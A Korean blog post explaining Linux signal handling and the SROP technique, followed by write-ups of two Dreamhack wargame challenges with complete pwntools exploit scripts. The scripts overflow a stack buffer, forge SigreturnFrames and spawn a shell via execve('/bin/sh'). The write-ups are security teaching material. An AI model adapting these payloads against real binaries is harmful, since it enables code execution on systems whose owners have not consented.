System Hacking

SigReturn-Oriented Programming

burrri 2024. 3. 30. 01:57

Signal

시그널

프로세스에 특정 정보를 전달하는 매개체

: signal 발생 >> 해당 코드가 커널 모드에서 실행 >> 유저 모드 복귀

(운영체제 :: 커널 / 유저 모드가 상호작용하며 프로세스 생성 및 실행)

 *	+--------------------+------------------+
 *	|  POSIX signal      |  default action  |
 *	+--------------------+------------------+
 *	|  SIGHUP            |  terminate	|
 *	|  SIGINT            |	terminate	|
 *	|  SIGQUIT           |	coredump 	|
 *	|  SIGILL            |	coredump 	|
 *	|  SIGTRAP           |	coredump 	|
 *	|  SIGABRT/SIGIOT    |	coredump 	|
 *	|  SIGBUS            |	coredump 	|
 *	|  SIGFPE            |	coredump 	|
 *	|  SIGKILL           |	terminate(+)	|
 *	|  SIGUSR1           |	terminate	|
 *	|  SIGSEGV           |	coredump 	|
 *	|  SIGUSR2           |	terminate	|
 *	|  SIGPIPE           |	terminate	|
 *	|  SIGALRM           |	terminate	|
 *	|  SIGTERM           |	terminate	|
 *	|  SIGCHLD           |	ignore   	|
 *	|  SIGCONT           |	ignore(*)	|
 *	|  SIGSTOP           |	stop(*)(+)  	|
 *	|  SIGTSTP           |	stop(*)  	|
 *	|  SIGTTIN           |	stop(*)  	|
 *	|  SIGTTOU           |	stop(*)  	|
 *	|  SIGURG            |	ignore   	|
 *	|  SIGXCPU           |	coredump 	|
 *	|  SIGXFSZ           |	coredump 	|
 *	|  SIGVTALRM         |	terminate	|
 *	|  SIGPROF           |	terminate	|
 *	|  SIGPOLL/SIGIO     |	terminate	|
 *	|  SIGSYS/SIGUNUSED  |	coredump 	|
 *	|  SIGSTKFLT         |	terminate	|
 *	|  SIGWINCH          |	ignore   	|
 *	|  SIGPWR            |	terminate	|
 *	|  SIGRTMIN-SIGRTMAX |	terminate       |
 *	+--------------------+------------------+
 *	|  non-POSIX signal  |  default action  |
 *	+--------------------+------------------+
 *	|  SIGEMT            |  coredump	|
 *	+--------------------+------------------+

 

시그널 동작 방식

signal함수에 의해 SIGALRM 발생 >> 커널모드 진입 및 시그널 처리 >> 유저모드로 복귀 후,  프로세스 실행  

여기서, 유저모드로 복귀한다는 의미는 유저 프로세스의 상태(메모리, 레지스터 등)을 저장하고 있어야한다는 의미!

 

do_signal

시그널을 처리하기 위해 제일 먼저 호출되는 함수

- linux kernel <= 5.8 : do_signal

- linux kernel <= 5.10 : arch_do_signal

- 상위 버전 linux kernel : arch_do_signal_or_restart

 

(arch_do_signal_or_start의 작동 방식 ) 

시그널 발생 >> get_signal 호출 (인자 : signal정보) >> 시그널에 해당하는 핸들러 존재 시, handle_signal (인자 : sig정보, 레지스터 정보)  

 

handle_signal

핸들러 주소를 다음 실행 주소로 삽입 (setup_rt_frame)

 

 

Sigreturn

커널 모드 -> 유저 모드로 변경 시에 사용되는 시스템 콜

: sigreturn의 내부에서 호출되는 restore_sigcontext 함수에 의하여 스택에 저장된 값을 각각의 레지스터에 복사하여 저장 및 기억  (sigcontext 구조체에 존재하는 멤버변수에 삽입)

 

 

sigcontext

/* __x86_64__: */
struct sigcontext {
  __u64               r8;
  __u64               r9;
  __u64               r10;
  __u64               r11;
  __u64               r12;
  __u64               r13;
  __u64               r14;
  __u64               r15;
  __u64               rdi;
  __u64               rsi;
  __u64               rbp;
  __u64               rbx;
  __u64               rdx;
  __u64               rax;
  __u64               rcx;
  __u64               rsp;
  __u64               rip;
  __u64               eflags;     /* RFLAGS */
  __u16               cs;
  __u16               gs;
  __u16               fs;
  union {
      __u16           ss; /* If UC_SIGCONTEXT_SS */
      __u16           __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
  };
  __u64               err;
  __u64               trapno;
  __u64               oldmask;
  __u64               cr2;
  struct _fpstate __user      *fpstate;   /* Zero when no FPU context */
#  ifdef __ILP32__
  __u32               __fpstate_pad;
#  endif
  __u64               reserved1[8];
};

ㄴ x86_64 아키텍쳐에 해당하는 구조체

 

SROP

srop (sigreturn-oriented programming)

: context switching (프로세스 전환) 을 위해 사용하는 sigreturn syscall을 이용한 ROP 기법

(ROP :: 코드조각을 모아 임의의 코드를 실행하는 공격 기법 <<  signal을 처리하는 과정에서 유저모드를 저장하기 위해 레지스터에 값을 쓰는 과정을 조작하여 exploit ) 

 


Exploit Tech : SigReturn-Oriented Programming

https://dreamhack.io/wargame/challenges/364/

- amd64-64 (64bit)

- Partial RELRO , NX 적용

- PIE, canary 미적용 

 

 

- 소스코드 분석

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"   // 시스템 콜!
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

 

- 시나리오

1. sigreturn 호출

gadget함수 addr를 구하여 syscall 번호를 조작하여 syscall 명령어 실행 >> sigreturn 호출 (syscall num : 15)

 

2. execve 호출 

sigreturn은 스택 영역의 값을 레지스터로 복사하므로,

1024 바이트값의 입력 시, sigcontext 구조체에 따라 execve 시스템 콜을 호출하기 위한 인자를 조작 설정

( execve :: 현재 실행 중인 프로세스를 다른 프로세스로 대체 )

 

 

- Exploit 

1. sigreturn 호출

bof를 이용하여 RIP 를 가젯의 주소로 조작 / rax를 15로 조작 >> 

from pwn import *

context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')

# 해당 명령어 검색 => 발견된 주소를 gadget에 저장
gadget = next(elf.search(asm('pop rax; syscall')))
print('gadget..', hex(gadget))

# bof
payload = b'A'*16 #buf
payload += b'B'*8 #rbp
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b'\x00'*40 # dummy
payload += p64(0x4141414141414141)*20 # stack 채우기

print('press enter to continue')
pause() # 스크립트 일시 정지 >> 타 셸에서 현재에 attach하여 디버깅 가능
p.sendline(payload)
p.interactive()

 

2. execve 호출

sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값 삽입

>> pwntools에서 제공하는 SigreturnFrame 클래스를 이용하여 exploit 작성

 

(사용예)

 

SROP

:: read 시스템 콜 호출 >> bss 영역에 0x1000 바이트 입력

 >> 다시 리턴 주소를 조작하여 execve("/bin/sh",0,0) 실행

 

 

- Exploit code

from pwn import *

context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame() #구조체 이용 

# read(0, bss, 0x1000) <-시그널 핸들러 frame 설정 
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b'A'*16
payload += b'B'*8
payload += p64(gadget) # gadget주소
payload += p64(15) # sigreturn : syscall 번호 15
payload += bytes(frame)
p.sendline(payload)


# execve('/bin/sh', 0, 0) : 시스템 콜 호출
frame2 = SigreturnFrame() #두번째 핸들러 frame 생성 
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500  #bss초반 이후의 아무개 부분
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'


p.sendline(rop)
p.interactive()

 


send_sig

https://dreamhack.io/wargame/challenges/145

 

- amd64-64

- Partial RELRO, NX 적용

- canary, pie 미적용

 

- 주요 코드 분석 (IDA) 

void FUN_004010b6(void)
{
  undefined local_10 [8];
  write(1,"Signal:",7);
  //bof
  read(0,local_10,0x400);
  return;
}

void entry(void)
{
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,1,0);
  write(1,"++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n",0x39);
  write(1,"+ You can send a signal to dreamhack server.           +\n",0x39);
  write(1,"++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n",0x39);
  FUN_004010b6();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

 

- 시나리오

1. sigreturn 호출

2. execve 호출 

 

 

- Exploit code

from pwn import *

p = remote('host3.dreamhack.games', 21976)
context(arch='amd64')

pop_rax_ret = 0x00000000004010ae
syscall_addr = 0x00000000004010b0
binsh_addr = 0x402000 # /bin/sh 문자열 리턴 주소 

# signal handler
frame = SigreturnFrame()
frame.rax = 0x3b # execve sys_num
frame.rdi = binsh_addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall_addr


payload = b'A' * 0x10
payload += p64(pop_rax_ret) 
payload += p64(15)
payload += p64(syscall_addr)
payload += bytes(frame)

p.sendlineafter('Signal:', payload)
p.interactive()

 

'System Hacking' 카테고리의 다른 글

write-up  (0) 2024.03.30
_IO_FILE  (0) 2024.03.30
linux library exploit :: __environ  (1) 2024.03.29
linux library exploit :: _rtld_global  (0) 2024.03.28
Master Canary  (2) 2024.03.24